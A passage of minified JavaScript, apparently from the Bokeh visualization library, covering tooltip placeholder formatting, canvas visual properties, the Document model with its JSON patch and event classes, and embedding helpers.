o=r[i.index];if(a.isTypedArray(o)||a.isArray(o)){if(a.isArray(o[0])){var s=o[i.dim2];return s[i.dim1]}return o[i.flat_index]}return o}s.DEFAULT_FORMATTERS={numeral:function(t,e,i){return n.format(t,e)},datetime:function(t,e,i){return o(t,e)},printf:function(t,e,i){return r.sprintf(e,t)}},s.basic_formatter=l,s.get_formatter=p,s.get_value=d,s.replace_placeholders=function(t,a,l,h,u){void 0===u&&(u={});var c=t.replace(/(?:^|[^@])([@|\\\\$](?:\\\\w+|{[^{}]+}))(?:{[^{}]+})?/g,function(t,e,i){return\\\"\\\"+e});return t=(t=(t=t.replace(/@\\\\$name/g,function(t){return\\\"@{\\\"+u.name+\\\"}\\\"})).replace(/(^|[^\\\\$])\\\\$(\\\\w+)/g,function(t,e,i){return e+\\\"@$\\\"+i})).replace(/(^|[^@])@(?:(\\\\$?\\\\w+)|{([^{}]+)})(?:{([^{}]+)})?/g,function(t,e,i,n,r){var o=d(i=null!=n?n:i,a,l,u);if(null==o)return\\\"\\\"+e+_.escape(\\\"???\\\");if(\\\"safe\\\"==r)return\\\"\\\"+e+o;var s=p(i,c,r,h);return\\\"\\\"+e+_.escape(s(o,r,u))})}},function(t,e,i){var a=t(5),l={};i.get_text_height=function(t){if(null!=l[t])return l[t];var e=a.span({style:{font:t}},\\\"Hg\\\"),i=a.div({style:{display:\\\"inline-block\\\",width:\\\"1px\\\",height:\\\"0px\\\"}}),n=a.div({},e,i);document.body.appendChild(n);try{i.style.verticalAlign=\\\"baseline\\\";var r=a.offset(i).top-a.offset(e).top;i.style.verticalAlign=\\\"bottom\\\";var o=a.offset(i).top-a.offset(e).top,s={height:o,ascent:r,descent:o-r};return l[t]=s}finally{document.body.removeChild(n)}}},function(t,e,i){var a=(\\\"undefined\\\"!=typeof window?window.requestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.webkitRequestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.mozRequestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.msRequestAnimationFrame:void 0)||function(t){return t(Date.now()),-1};i.throttle=function(t,i){var n=null,r=0,o=!1,s=function(){r=Date.now(),n=null,o=!1,t()};return function(){var t=Date.now(),e=i-(t-r);e<=0&&!o?(null!=n&&clearTimeout(n),o=!0,a(s)):n||o||(n=setTimeout(function(){return a(s)},e))}}},function(t,e,i){i.concat=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];for(var n=t.length,r=0,o=e;r<o.length;r++){var s=o[r];n+=s.length}var a=new t.constructor(n);a.set(t,0);for(var l=t.length,h=0,u=e;h<u.length;h++){var s=u[h];a.set(s,l),l+=s.length}return a}},function(t,e,i){var n=t(21),r=Object.prototype.toString;function o(t){return\\\"[object Number]\\\"===r.call(t)}function s(t){var e=typeof t;return\\\"function\\\"===e||\\\"object\\\"===e&&!!t}i.isBoolean=function(t){return!0===t||!1===t||\\\"[object Boolean]\\\"===r.call(t)},i.isNumber=o,i.isInteger=function(t){return o(t)&&isFinite(t)&&Math.floor(t)===t},i.isString=function(t){return\\\"[object String]\\\"===r.call(t)},i.isStrictNaN=function(t){return o(t)&&t!==+t},i.isFunction=function(t){return\\\"[object Function]\\\"===r.call(t)},i.isArray=function(t){return Array.isArray(t)},i.isArrayOf=function(t,e){return n.all(t,e)},i.isArrayableOf=function(t,e){for(var i=0,n=t.length;i<n;i++)if(!e(t[i]))return!1;return!0},i.isTypedArray=function(t){return null!=t&&null!=t.buffer&&t.buffer instanceof ArrayBuffer},i.isObject=s,i.isPlainObject=function(t){return s(t)&&(null==t.constructor||t.constructor===Object)}},function(t,e,i){function n(t){var e=getComputedStyle(t).fontSize;return null!=e?parseInt(e,10):null}i.getDeltaY=function(t){var e,i=-t.deltaY;if(t.target instanceof HTMLElement)switch(t.deltaMode){case t.DOM_DELTA_LINE:i*=n((e=t.target).offsetParent||document.body)||n(e)||16;break;case t.DOM_DELTA_PAGE:i*=t.target.clientHeight}return i}},function(t,e,i){var f=t(31);function v(t,e,i){var n=[t.start,t.end],r=n[0],o=n[1],s=null!=i?i:(o+r)/2,a=r-(r-s)*e,l=o-(o-s)*e;return[a,l]}function m(t,e){var i=e[0],n=e[1],r={};for(var o in t){var s=t[o],a=s.r_invert(i,n),l=a[0],h=a[1];r[o]={start:l,end:h}}return r}i.scale_highlow=v,i.get_info=m,i.scale_range=function(t,e,i,n,r){void 0===i&&(i=!0),void 0===n&&(n=!0),e=f.clamp(e,-.9,.9);var o=i?e:0,s=v(t.bbox.h_range,o,null!=r?r.x:void 0),a=s[0],l=s[1],h=m(t.xscales,[a,l]),u=n?e:0,c=v(t.bbox.v_range,u,null!=r?r.y:void 0),_=c[0],p=c[1],d=m(t.yscales,[_,p]);return{xrs:h,yrs:d,factor:e}}},function(t,e,i){var n=t(44);i.isValue=function(t){return n.isObject(t)&&\\\"value\\\"in t},i.isField=function(t){return n.isObject(t)&&\\\"field\\\"in t}},function(t,e,i){var n=t(391),r=t(19),o=t(38),s=function(i){function t(t){var e=i.call(this)||this;if(e.removed=new r.Signal0(e,\\\"removed\\\"),null==t.model)throw new Error(\\\"model of a view wasn't configured\\\");return e.model=t.model,e._parent=t.parent,e.id=t.id||o.uniqueId(),e.initialize(t),!1!==t.connect_signals&&e.connect_signals(),e}return n.__extends(t,i),t.prototype.initialize=function(t){},t.prototype.remove=function(){this._parent=void 0,this.disconnect_signals(),this.removed.emit()},t.prototype.toString=function(){return this.model.type+\\\"View(\\\"+this.id+\\\")\\\"},Object.defineProperty(t.prototype,\\\"parent\\\",{get:function(){if(void 0!==this._parent)return this._parent;throw new Error(\\\"parent of a view wasn't configured\\\")},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_root\\\",{get:function(){return null===this.parent},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"root\\\",{get:function(){return this.is_root?this:this.parent.root},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){},t.prototype.disconnect_signals=function(){r.Signal.disconnectReceiver(this)},t.prototype.notify_finished=function(){this.root.notify_finished()},t}(r.Signalable());i.View=s},function(t,e,i){var n=t(391),r=t(16),o=t(27),s=function(){function t(t,e){void 0===e&&(e=\\\"\\\"),this.obj=t,this.prefix=e,this.cache={};var i=t.properties[e+this.do_attr].spec;this.doit=null!==i.value;for(var n=0,r=this.attrs;n<r.length;n++){var o=r[n];this[o]=t.properties[e+o]}}return t.prototype.warm_cache=function(t){for(var e=0,i=this.attrs;e<i.length;e++){var n=i[e],r=this.obj.properties[this.prefix+n];if(void 0!==r.spec.value)this.cache[n]=r.spec.value;else{if(null==t)throw new Error(\\\"source is required with a vectorized visual property\\\");this.cache[n+\\\"_array\\\"]=r.array(t)}}},t.prototype.cache_select=function(t,e){var i,n=this.obj.properties[this.prefix+t];return void 0!==n.spec.value?this.cache[t]=i=n.spec.value:this.cache[t]=i=this.cache[t+\\\"_array\\\"][e],i},t.prototype.set_vectorize=function(t,e){null!=this.all_indices?this._set_vectorize(t,this.all_indices[e]):this._set_vectorize(t,e)},t}(),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.set_value=function(t){t.strokeStyle=this.line_color.value(),t.globalAlpha=this.line_alpha.value(),t.lineWidth=this.line_width.value(),t.lineJoin=this.line_join.value(),t.lineCap=this.line_cap.value(),t.setLineDash(this.line_dash.value()),t.setLineDashOffset(this.line_dash_offset.value())},e.prototype._set_vectorize=function(t,e){this.cache_select(\\\"line_color\\\",e),t.strokeStyle!==this.cache.line_color&&(t.strokeStyle=this.cache.line_color),this.cache_select(\\\"line_alpha\\\",e),t.globalAlpha!==this.cache.line_alpha&&(t.globalAlpha=this.cache.line_alpha),this.cache_select(\\\"line_width\\\",e),t.lineWidth!==this.cache.line_width&&(t.lineWidth=this.cache.line_width),this.cache_select(\\\"line_join\\\",e),t.lineJoin!==this.cache.line_join&&(t.lineJoin=this.cache.line_join),this.cache_select(\\\"line_cap\\\",e),t.lineCap!==this.cache.line_cap&&(t.lineCap=this.cache.line_cap),this.cache_select(\\\"line_dash\\\",e),t.getLineDash()!==this.cache.line_dash&&t.setLineDash(this.cache.line_dash),this.cache_select(\\\"line_dash_offset\\\",e),t.getLineDashOffset()!==this.cache.line_dash_offset&&t.setLineDashOffset(this.cache.line_dash_offset)},e.prototype.color_value=function(){var t=o.color2rgba(this.line_color.value(),this.line_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},e}(i.ContextProperties=s);(i.Line=h).prototype.attrs=Object.keys(r.line()),h.prototype.do_attr=\\\"line_color\\\";var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.set_value=function(t){t.fillStyle=this.fill_color.value(),t.globalAlpha=this.fill_alpha.value()},e.prototype._set_vectorize=function(t,e){this.cache_select(\\\"fill_color\\\",e),t.fillStyle!==this.cache.fill_color&&(t.fillStyle=this.cache.fill_color),this.cache_select(\\\"fill_alpha\\\",e),t.globalAlpha!==this.cache.fill_alpha&&(t.globalAlpha=this.cache.fill_alpha)},e.prototype.color_value=function(){var t=o.color2rgba(this.fill_color.value(),this.fill_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},e}(s);(i.Fill=u).prototype.attrs=Object.keys(r.fill()),u.prototype.do_attr=\\\"fill_color\\\";var c=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.cache_select=function(t,e){var i;if(\\\"font\\\"==t){a.prototype.cache_select.call(this,\\\"text_font_style\\\",e),a.prototype.cache_select.call(this,\\\"text_font_size\\\",e),a.prototype.cache_select.call(this,\\\"text_font\\\",e);var n=this.cache,r=n.text_font_style,o=n.text_font_size,s=n.text_font;this.cache.font=i=r+\\\" \\\"+o+\\\" \\\"+s}else i=a.prototype.cache_select.call(this,t,e);return i},t.prototype.font_value=function(){var t=this.text_font.value(),e=this.text_font_size.value(),i=this.text_font_style.value();return i+\\\" \\\"+e+\\\" \\\"+t},t.prototype.color_value=function(){var t=o.color2rgba(this.text_color.value(),this.text_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},t.prototype.set_value=function(t){t.font=this.font_value(),t.fillStyle=this.text_color.value(),t.globalAlpha=this.text_alpha.value(),t.textAlign=this.text_align.value(),t.textBaseline=this.text_baseline.value()},t.prototype._set_vectorize=function(t,e){this.cache_select(\\\"font\\\",e),t.font!==this.cache.font&&(t.font=this.cache.font),this.cache_select(\\\"text_color\\\",e),t.fillStyle!==this.cache.text_color&&(t.fillStyle=this.cache.text_color),this.cache_select(\\\"text_alpha\\\",e),t.globalAlpha!==this.cache.text_alpha&&(t.globalAlpha=this.cache.text_alpha),this.cache_select(\\\"text_align\\\",e),t.textAlign!==this.cache.text_align&&(t.textAlign=this.cache.text_align),this.cache_select(\\\"text_baseline\\\",e),t.textBaseline!==this.cache.text_baseline&&(t.textBaseline=this.cache.text_baseline)},t}(s);(i.Text=c).prototype.attrs=Object.keys(r.text()),c.prototype.do_attr=\\\"text_color\\\";var a=function(){function t(t){for(var e=0,i=t.mixins;e<i.length;e++){var n=i[e],r=n.split(\\\":\\\"),o=r[0],s=r[1],a=void 0===s?\\\"\\\":s,l=void 0;switch(o){case\\\"line\\\":l=h;break;case\\\"fill\\\":l=u;break;case\\\"text\\\":l=c;break;default:throw new Error(\\\"unknown visual: \\\"+o)}this[a+o]=new l(t,a)}}return t.prototype.warm_cache=function(t){for(var e in this)if(this.hasOwnProperty(e)){var i=this[e];i instanceof s&&i.warm_cache(t)}},t.prototype.set_all_indices=function(t){for(var e in this)if(this.hasOwnProperty(e)){var i=this[e];i instanceof s&&(i.all_indices=t)}},t}();i.Visuals=a},function(t,e,i){var o=t(391),s=t(0),_=t(286),j=t(14),n=t(3),p=t(8),r=t(19),a=t(34),N=t(36),m=t(29),y=t(21),b=t(32),x=t(30),d=t(44),l=t(157),F=t(200),g=t(59),h=t(51),u=function(){function t(t){this.document=t,this.session=null,this.subscribed_models=new m.Set}return t.prototype.send_event=function(t){null!=this.session&&this.session.send_event(t)},t.prototype.trigger=function(t){for(var e=0,i=this.subscribed_models.values;e<i.length;e++){var n=i[e];if(null==t.model_id||t.model_id===n){var r=this.document._all_models[n];null!=r&&r._process_event(t)}}},t}();i.EventManager=u,i.documents=[],i.DEFAULT_TITLE=\\\"Bokeh Application\\\";var c=function(){function P(){i.documents.push(this),this._init_timestamp=Date.now(),this._title=i.DEFAULT_TITLE,this._roots=[],this._all_models={},this._all_models_by_name=new m.MultiDict,this._all_models_freeze_count=0,this._callbacks=[],this.event_manager=new u(this),this.idle=new r.Signal0(this,\\\"idle\\\"),this._idle_roots=new WeakMap,this._interactive_timestamp=null,this._interactive_plot=null}return Object.defineProperty(P.prototype,\\\"layoutables\\\",{get:function(){return this._roots.filter(function(t){return t instanceof l.LayoutDOM})},enumerable:!0,configurable:!0}),Object.defineProperty(P.prototype,\\\"is_idle\\\",{get:function(){for(var t=0,e=this.layoutables;t<e.length;t++){var i=e[t];if(!this._idle_roots.has(i))return!1}return!0},enumerable:!0,configurable:!0}),P.prototype.notify_idle=function(t){this._idle_roots.set(t,!0),this.is_idle&&(j.logger.info(\\\"document idle at \\\"+(Date.now()-this._init_timestamp)+\\\" ms\\\"),this.idle.emit())},P.prototype.clear=function(){this._push_all_models_freeze();try{for(;0<this._roots.length;)this.remove_root(this._roots[0])}finally{this._pop_all_models_freeze()}},P.prototype.interactive_start=function(t){null==this._interactive_plot&&(this._interactive_plot=t,this._interactive_plot.trigger_event(new n.LODStart({}))),this._interactive_timestamp=Date.now()},P.prototype.interactive_stop=function(t){null!=this._interactive_plot&&this._interactive_plot.id===t.id&&this._interactive_plot.trigger_event(new n.LODEnd({})),this._interactive_plot=null,this._interactive_timestamp=null},P.prototype.interactive_duration=function(){return null==this._interactive_timestamp?-1:Date.now()-this._interactive_timestamp},P.prototype.destructively_move=function(t){if(t===this)throw new Error(\\\"Attempted to overwrite a document with itself\\\");t.clear();var e=y.copy(this._roots);this.clear();for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null!=r.document)throw new Error(\\\"Somehow we didn't detach \\\"+r)}if(0!==Object.keys(this._all_models).length)throw new Error(\\\"this._all_models still had stuff in it: \\\"+this._all_models);for(var o=0,s=e;o<s.length;o++){var r=s[o];t.add_root(r)}t.set_title(this._title)},P.prototype._push_all_models_freeze=function(){this._all_models_freeze_count+=1},P.prototype._pop_all_models_freeze=function(){this._all_models_freeze_count-=1,0===this._all_models_freeze_count&&this._recompute_all_models()},P.prototype._invalidate_all_models=function(){j.logger.debug(\\\"invalidating document models\\\"),0===this._all_models_freeze_count&&this._recompute_all_models()},P.prototype._recompute_all_models=function(){for(var t=new m.Set,e=0,i=this._roots;e<i.length;e++){var n=i[e];t=t.union(n.references())}for(var r=new m.Set(b.values(this._all_models)),o=r.diff(t),s=t.diff(r),a={},l=0,h=t.values;l<h.length;l++){var u=h[l];a[u.id]=u}for(var c=0,_=o.values;c<_.length;c++){var p=_[c];p.detach_document(),p instanceof g.Model&&null!=p.name&&this._all_models_by_name.remove_value(p.name,p)}for(var d=0,f=s.values;d<f.length;d++){var v=f[d];v.attach_document(this),v instanceof g.Model&&null!=v.name&&this._all_models_by_name.add_value(v.name,v)}this._all_models=a},P.prototype.roots=function(){return this._roots},P.prototype.add_root=function(t,e){if(j.logger.debug(\\\"Adding root: \\\"+t),!y.includes(this._roots,t)){this._push_all_models_freeze();try{this._roots.push(t)}finally{this._pop_all_models_freeze()}this._trigger_on_change(new h.RootAddedEvent(this,t,e))}},P.prototype.remove_root=function(t,e){var i=this._roots.indexOf(t);if(!(i<0)){this._push_all_models_freeze();try{this._roots.splice(i,1)}finally{this._pop_all_models_freeze()}this._trigger_on_change(new h.RootRemovedEvent(this,t,e))}},P.prototype.title=function(){return this._title},P.prototype.set_title=function(t,e){t!==this._title&&(this._title=t,this._trigger_on_change(new h.TitleChangedEvent(this,t,e)))},P.prototype.get_model_by_id=function(t){return t in this._all_models?this._all_models[t]:null},P.prototype.get_model_by_name=function(t){return this._all_models_by_name.get_one(t,\\\"Multiple models are named '\\\"+t+\\\"'\\\")},P.prototype.on_change=function(t){y.includes(this._callbacks,t)||this._callbacks.push(t)},P.prototype.remove_on_change=function(t){var e=this._callbacks.indexOf(t);0<=e&&this._callbacks.splice(e,1)},P.prototype._trigger_on_change=function(t){for(var e=0,i=this._callbacks;e<i.length;e++){var n=i[e];n(t)}},P.prototype._notify_change=function(t,e,i,n,r){\\\"name\\\"===e&&(this._all_models_by_name.remove_value(i,t),null!=n&&this._all_models_by_name.add_value(n,t));var o=null!=r?r.setter_id:void 0,s=null!=r?r.hint:void 0;this._trigger_on_change(new h.ModelChangedEvent(this,t,e,i,n,o,s))},P._references_json=function(t,e){void 0===e&&(e=!0);for(var i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o.ref();s.attributes=o.attributes_as_json(e),delete s.attributes.id,i.push(s)}return i},P._instantiate_object=function(t,e,i){var n=o.__assign({},i,{id:t,__deferred__:!0}),r=s.Models(e);return new r(n)},P._instantiate_references_json=function(t,e){for(var i={},n=0,r=t;n<r.length;n++){var o=r[n],s=o.id,a=o.type,l=o.attributes||{},h=void 0;s in e?h=e[s]:(h=P._instantiate_object(s,a,l),null!=o.subtype&&h.set_subtype(o.subtype)),i[h.id]=h}return i},P._resolve_refs=function(t,e,i){function o(t){if(a.is_ref(t)){if(t.id in e)return e[t.id];if(t.id in i)return i[t.id];throw new Error(\\\"reference \\\"+JSON.stringify(t)+\\\" isn't known (not in Document?)\\\")}return d.isArray(t)?function(t){for(var e=[],i=0,n=t;i<n.length;i++){var r=n[i];e.push(o(r))}return e}(t):d.isPlainObject(t)?function(t){var e={};for(var i in t){var n=t[i];e[i]=o(n)}return e}(t):t}return o(t)},P._initialize_references_json=function(t,e,i){for(var n={},r=0,o=t;r<o.length;r++){var s=o[r],a=s.id,l=s.attributes,h=!(a in e),u=h?i[a]:e[a],c=P._resolve_refs(l,e,i);n[u.id]=[u,c,h]}function _(h,u){var c={};function _(t){if(t instanceof p.HasProps){if(!(t.id in c)&&t.id in h){c[t.id]=!0;var e=h[t.id],i=e[1],n=e[2];for(var r in i){var o=i[r];_(o)}u(t,i,n)}}else if(d.isArray(t))for(var s=0,a=t;s<a.length;s++){var o=a[s];_(o)}else if(d.isPlainObject(t))for(var l in t){var o=t[l];_(o)}}for(var t in h){var e=h[t],i=e[0];_(i)}}_(n,function(t,e,i){i&&t.setv(e,{silent:!0})}),_(n,function(t,e,i){i&&t.finalize()})},P._event_for_attribute_change=function(t,e,i,n,r){var o=n.get_model_by_id(t.id);if(o.attribute_is_serializable(e)){var s={kind:\\\"ModelChanged\\\",model:{id:t.id,type:t.type},attr:e,new:i};return p.HasProps._json_record_references(n,i,r,!0),s}return null},P._events_to_sync_objects=function(t,e,i,n){for(var r=Object.keys(t.attributes),o=Object.keys(e.attributes),s=y.difference(r,o),a=y.difference(o,r),l=y.intersection(r,o),h=[],u=0,c=s;u<c.length;u++){var _=c[u];j.logger.warn(\\\"Server sent key \\\"+_+\\\" but we don't seem to have it in our JSON\\\")}for(var p=0,d=a;p<d.length;p++){var _=d[p],f=e.attributes[_];h.push(P._event_for_attribute_change(t,_,f,i,n))}for(var v=0,m=l;v<m.length;v++){var _=m[v],g=t.attributes[_],f=e.attributes[_];null==g&&null==f||(null==g||null==f?h.push(P._event_for_attribute_change(t,_,f,i,n)):x.isEqual(g,f)||h.push(P._event_for_attribute_change(t,_,f,i,n)))}return h.filter(function(t){return null!=t})},P._compute_patch_since_json=function(t,e){var i=e.to_json(!1);function n(t){for(var e={},i=0,n=t.roots.references;i<n.length;i++){var r=n[i];e[r.id]=r}return e}for(var r=n(t),o={},s=[],a=0,l=t.roots.root_ids;a<l.length;a++){var h=l[a];o[h]=r[h],s.push(h)}for(var u=n(i),c={},_=[],p=0,d=i.roots.root_ids;p<d.length;p++){var h=d[p];c[h]=u[h],_.push(h)}if(s.sort(),_.sort(),0<y.difference(s,_).length||0<y.difference(_,s).length)throw new Error(\\\"Not implemented: computing add/remove of document roots\\\");var f={},v=[];for(var m in e._all_models)if(m in r){var g=P._events_to_sync_objects(r[m],u[m],e,f);v=v.concat(g)}return{references:P._references_json(b.values(f),!1),events:v}},P.prototype.to_json_string=function(t){return void 0===t&&(t=!0),JSON.stringify(this.to_json(t))},P.prototype.to_json=function(t){void 0===t&&(t=!0);var e=this._roots.map(function(t){return t.id}),i=b.values(this._all_models);return{version:_.version,title:this._title,roots:{root_ids:e,references:P._references_json(i,t)}}},P.from_json_string=function(t){var e=JSON.parse(t);return P.from_json(e)},P.from_json=function(t){j.logger.debug(\\\"Creating Document from JSON\\\");var e=t.version,i=-1!==e.indexOf(\\\"+\\\")||-1!==e.indexOf(\\\"-\\\"),n=\\\"Library versions: JS (\\\"+_.version+\\\") / Python (\\\"+e+\\\")\\\";i||_.version===e?j.logger.debug(n):(j.logger.warn(\\\"JS/Python version mismatch\\\"),j.logger.warn(n));var r=t.roots,o=r.root_ids,s=r.references,a=P._instantiate_references_json(s,{});P._initialize_references_json(s,{},a);for(var l=new P,h=0,u=o;h<u.length;h++){var c=u[h];l.add_root(a[c])}return l.set_title(t.title),l},P.prototype.replace_with_json=function(t){var e=P.from_json(t);e.destructively_move(this)},P.prototype.create_json_patch_string=function(t){return JSON.stringify(this.create_json_patch(t))},P.prototype.create_json_patch=function(t){for(var e={},i=[],n=0,r=t;n<r.length;n++){var o=r[n];if(o.document!==this)throw j.logger.warn(\\\"Cannot create a patch using events from a different document, event had \\\",o.document,\\\" we are \\\",this),new Error(\\\"Cannot create a patch using events from a different document\\\");i.push(o.json(e))}return{events:i,references:P._references_json(b.values(e))}},P.prototype.apply_json_patch=function(t,e,i){for(var n,r=t.references,o=t.events,s=P._instantiate_references_json(r,this._all_models),a=0,l=o;a<l.length;a++){var h=l[a];switch(h.kind){case\\\"RootAdded\\\":case\\\"RootRemoved\\\":case\\\"ModelChanged\\\":var u=h.model.id;if(u in this._all_models)s[u]=this._all_models[u];else if(!(u in s))throw j.logger.warn(\\\"Got an event for unknown model \\\",h.model),new Error(\\\"event model wasn't known\\\")}}var c={},_={};for(var p in s){var d=s[p];p in this._all_models?c[p]=d:_[p]=d}P._initialize_references_json(r,c,_);for(var f=0,v=o;f<v.length;f++){var h=v[f];switch(h.kind){case\\\"ModelChanged\\\":var m=h.model.id;if(!(m in this._all_models))throw new Error(\\\"Cannot apply patch to \\\"+m+\\\" which is not in the document\\\");var g=this._all_models[m],y=h.attr,b=h.model.type;if(\\\"data\\\"===y&&\\\"ColumnDataSource\\\"===b){var x=N.decode_column_data(h.new,e),w=x[0],k=x[1];g.setv({_shapes:k,data:w},{setter_id:i})}else{var d=P._resolve_refs(h.new,c,_);g.setv(((n={})[y]=d,n),{setter_id:i})}break;case\\\"ColumnDataChanged\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot stream to \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S],T=N.decode_column_data(h.new,e),w=T[0],k=T[1];if(null!=h.cols){for(var A in C.data)A in w||(w[A]=C.data[A]);for(var A in C._shapes)A in k||(k[A]=C._shapes[A])}C.setv({_shapes:k,data:w},{setter_id:i,check_eq:!1});break;case\\\"ColumnsStreamed\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot stream to \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S];if(!(C instanceof F.ColumnDataSource))throw new Error(\\\"Cannot stream to non-ColumnDataSource\\\");var w=h.data,E=h.rollover;C.stream(w,E,i);break;case\\\"ColumnsPatched\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot patch \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S];if(!(C instanceof F.ColumnDataSource))throw new Error(\\\"Cannot patch non-ColumnDataSource\\\");var M=h.patches;C.patch(M,i);break;case\\\"RootAdded\\\":var O=h.model.id,z=s[O];this.add_root(z,i);break;case\\\"RootRemoved\\\":var O=h.model.id,z=s[O];this.remove_root(z,i);break;case\\\"TitleChanged\\\":this.set_title(h.title,i);break;default:throw new Error(\\\"Unknown patch event \\\"+JSON.stringify(h))}}},P}();i.Document=c},function(t,e,i){var n=t(391),o=t(8),r=function(t){this.document=t},s=function(l){function t(t,e,i,n,r,o,s){var a=l.call(this,t)||this;return a.model=e,a.attr=i,a.old=n,a.new_=r,a.setter_id=o,a.hint=s,a}return n.__extends(t,l),t.prototype.json=function(t){if(\\\"id\\\"===this.attr)throw new Error(\\\"'id' field should never change, whatever code just set it is wrong\\\");if(null!=this.hint)return this.hint.json(t);var e=this.new_,i=o.HasProps._value_to_json(this.attr,e,this.model),n={};for(var r in o.HasProps._value_record_references(e,n,!0),this.model.id in n&&this.model!==e&&delete n[this.model.id],n)t[r]=n[r];return{kind:\\\"ModelChanged\\\",model:this.model.ref(),attr:this.attr,new:i}},t}(i.DocumentChangedEvent=r);i.ModelChangedEvent=s;var a=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.column_source=e,n.patches=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"ColumnsPatched\\\",column_source:this.column_source,patches:this.patches}},t}(r);i.ColumnsPatchedEvent=a;var l=function(o){function t(t,e,i,n){var r=o.call(this,t)||this;return r.column_source=e,r.data=i,r.rollover=n,r}return n.__extends(t,o),t.prototype.json=function(t){return{kind:\\\"ColumnsStreamed\\\",column_source:this.column_source,data:this.data,rollover:this.rollover}},t}(r);i.ColumnsStreamedEvent=l;var h=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.title=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"TitleChanged\\\",title:this.title}},t}(r);i.TitleChangedEvent=h;var u=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.model=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return o.HasProps._value_record_references(this.model,t,!0),{kind:\\\"RootAdded\\\",model:this.model.ref()}},t}(r);i.RootAddedEvent=u;var c=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.model=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"RootRemoved\\\",model:this.model.ref()}},t}(r);i.RootRemovedEvent=c},function(t,e,i){var n=t(391);n.__exportStar(t(50),i),n.__exportStar(t(51),i)},function(t,e,n){var r=t(5);function o(t){var e=document.getElementById(t);if(null==e)throw new Error(\\\"Error rendering Bokeh model: could not find #\\\"+t+\\\" HTML tag\\\");if(!document.body.contains(e))throw new Error(\\\"Error rendering Bokeh model: element #\\\"+t+\\\" must be under <body>\\\");if(\\\"SCRIPT\\\"==e.tagName){var i=r.div({class:n.BOKEH_ROOT});r.replaceWith(e,i),e=i}return e}n.BOKEH_ROOT=\\\"bk-root\\\",n.inject_css=function(t){var e=r.link({href:t,rel:\\\"stylesheet\\\",type:\\\"text/css\\\"});document.body.appendChild(e)},n.inject_raw_css=function(t){var e=r.style({},t);document.body.appendChild(e)},n._resolve_element=function(t){var e=t.elementid;return null!=e?o(e):document.body},n._resolve_root_elements=function(t){var e={};if(null!=t.roots)for(var i in t.roots)e[i]=o(t.roots[i]);return e}},function(t,e,i){var d=t(52),f=t(14),s=t(25),v=t(38),m=t(44),g=t(57),y=t(56),b=t(53),n=t(57);i.add_document_standalone=n.add_document_standalone;var r=t(56);i.add_document_from_session=r.add_document_from_session;var o=t(55);i.embed_items_notebook=o.embed_items_notebook,i.kernels=o.kernels;var a=t(53);function l(t,e,i,n){m.isString(t)&&(t=JSON.parse(v.unescape(t)));var r={};for(var o in t){var s=t[o];r[o]=d.Document.from_json(s)}for(var a=0,l=e;a<l.length;a++){var h=l[a],u=b._resolve_element(h),c=b._resolve_root_elements(h);if(null!=h.docid)g.add_document_standalone(r[h.docid],u,c,h.use_for_title);else{if(null==h.sessionid)throw new Error(\\\"Error rendering Bokeh items: either 'docid' or 'sessionid' was expected.\\\");var _=y._get_ws_url(i,n);f.logger.debug(\\\"embed: computed ws url: \\\"+_);var p=y.add_document_from_session(_,h.sessionid,u,c,h.use_for_title);p.then(function(){console.log(\\\"Bokeh items were rendered successfully\\\")},function(t){console.log(\\\"Error rendering Bokeh items:\\\",t)})}}}i.BOKEH_ROOT=a.BOKEH_ROOT,i.inject_css=a.inject_css,i.inject_raw_css=a.inject_raw_css,i.embed_item=function(t,e){var i,n={},r=v.uuid4();n[r]=t.doc,null==e&&(e=t.target_id);var o={roots:((i={})[t.root_id]=e,i),docid:r};s.defer(function(){return l(n,[o])})},i.embed_items=function(t,e,i,n){s.defer(function(){return l(t,e,i,n)})}},function(t,e,r){var l=t(52),o=t(283),s=t(14),h=t(32),u=t(57),c=t(53);function a(t,e){0<e.buffers.length?t.consume(e.buffers[0].buffer):t.consume(e.content.data);var i=t.message;null!=i&&this.apply_json_patch(i.content,i.buffers)}function _(i,n){if(\\\"undefined\\\"!=typeof Jupyter&&null!=Jupyter.notebook.kernel){s.logger.info(\\\"Registering Jupyter comms for target \\\"+i);var t=Jupyter.notebook.kernel.comm_manager;try{t.register_target(i,function(t){s.logger.info(\\\"Registering Jupyter comms for target \\\"+i);var e=new o.Receiver;t.on_msg(a.bind(n,e))})}catch(t){s.logger.warn(\\\"Jupyter comms failed to register. 